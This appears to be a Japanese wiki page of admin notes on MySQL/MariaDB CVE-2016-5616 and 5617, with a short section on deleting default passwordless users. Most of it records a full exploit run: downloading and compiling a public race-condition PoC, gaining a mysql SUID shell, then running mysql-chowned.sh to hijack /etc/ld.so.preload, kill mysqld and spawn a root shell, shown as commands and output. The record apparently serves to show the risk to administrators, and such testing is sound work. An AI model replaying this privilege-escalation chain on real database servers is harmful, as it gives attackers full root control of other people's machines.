CVE-2016-5616, 5617 †[edit]
- 該当マシンにアカウントがあり,データベースのアクセス(書き込み)可能な場合,Root権限を奪取される
- MySQL の初期ユーザ等が残っている場合は特に危険.
デフォルトユーザ †[edit]
- パスワードなし,ユーザ名なしのデータはインストール時に削除すべき.
MariaDB [(none)]> use mysql;
MariaDB [mysql]> select Host,User,Password from user;
+-----------+------+-------------------------------------------+
| Host | User | Password |
+-----------+------+-------------------------------------------+
| localhost | root | *1B1F13007F2FA68140D751B563EB49E0186A116B |
| rigel-b | root | |
| 127.0.0.1 | root | |
| ::1 | root | |
| localhost | | |
| rigel-b | | |
+-----------+------+-------------------------------------------+
MariaDB [(none)]> use mysql;
MariaDB [mysql]> delete from user where user='';
MariaDB [mysql]> delete from user where password='';
mysql ユーザアカウントのダッシュ †[edit]
$ wget ftp://www.nsl.tuis.ac.jp/pub/mariadb/Vulnerabilities/mysql-privesc-race.c
$ gcc -o mysql-privesc-race mysql-privesc-race.c -I/usr/local/mysql/include/mysql -L/usr/local/mysql/lib -lmysqlclient
[iseki@rigel-b ~]:439$ ./mysql-privesc-race '' '' localhost test
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)
CVE-2016-6663 / CVE-2016-5616
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
[+] Starting the exploit as:
uid=502(iseki) gid=100(users) 所属グループ=100(users)
[+] Connecting to the database `test` as @localhost
[+] Creating exploit temp directory /tmp/mysql_privesc_exploit
[+] Creating mysql tables
DROP TABLE IF EXISTS exploit_table
DROP TABLE IF EXISTS mysql_suid_shell
CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit'
CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit'
[+] Copying bash into the mysql_suid_shell table.
After the exploitation the following file/table will be assigned SUID and executable bits :
-rw-rw---- 1 mysql users 941880 11月 11 09:37 2016 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD
[+] Entering the race loop... Hang in there...
->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->->
[+] Bingo! Race won (took 12874 tries) ! Check out the mysql SUID shell:
-rwsrwxrwx 1 mysql users 941880 11月 11 09:37 2016 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD
[+] Spawning the mysql SUID shell now...
Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)
mysql_suid_shell.MYD-4.1$ whoami
mysql
mysql アカウントからの root アカウントのダッシュ †[edit]
mysql_suid_shell.MYD-4.1$ ./mysql-chowned.sh /var/mysql/rigel-b.err
MySQL / MariaDB / Percona - Root Privilege Escalation PoC Exploit
mysql-chowned.sh (ver. 1.0)
CVE-2016-6664 / CVE-2016-5617
Discovered and coded by:
Dawid Golunski
http://legalhackers.com
[+] Starting the exploit as
uid=502(iseki) gid=100(users) euid=103(mysql) 所属グループ=100(users)
[+] Target MySQL log file set to /var/mysql/rigel-b.err
[+] Compiling the privesc shared library (/tmp/privesclib.c)
[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 mysql users 941880 11月 11 09:52 2016 /tmp/mysqlrootsh
[+] Symlink created at:
lrwxrwxrwx 1 mysql users 18 11月 11 09:52 2016 /var/mysql/rigel-b.err -> /etc/ld.so.preload
[+] Waiting for MySQL to re-open the logs/MySQL service restart...
[+] Waiting for MySQL to re-open the logs/MySQL service restart...
./mysql-chowned.sh: line 153: pidof: コマンドが見つかりません
Do you want to kill mysqld process to instantly get root? :) ? [y/n] y
Got it. Executing 'killall mysqld' now...
[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges:
-rw-r----- 1 mysql root 19 11月 11 09:52 2016 /etc/ld.so.preload
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
[+] The /etc/ld.so.preload file now contains:
/tmp/privesclib.so
[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
-rwsrwxrwx 1 root root 941880 11月 11 09:52 2016 /tmp/mysqlrootsh
[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 941880 11月 11 09:52 2016 /tmp/mysqlrootsh
Got root! The database server has been ch-OWNED !
[+] Spawning the rootshell /tmp/mysqlrootsh now!
mysqlrootsh-4.1# whoami
root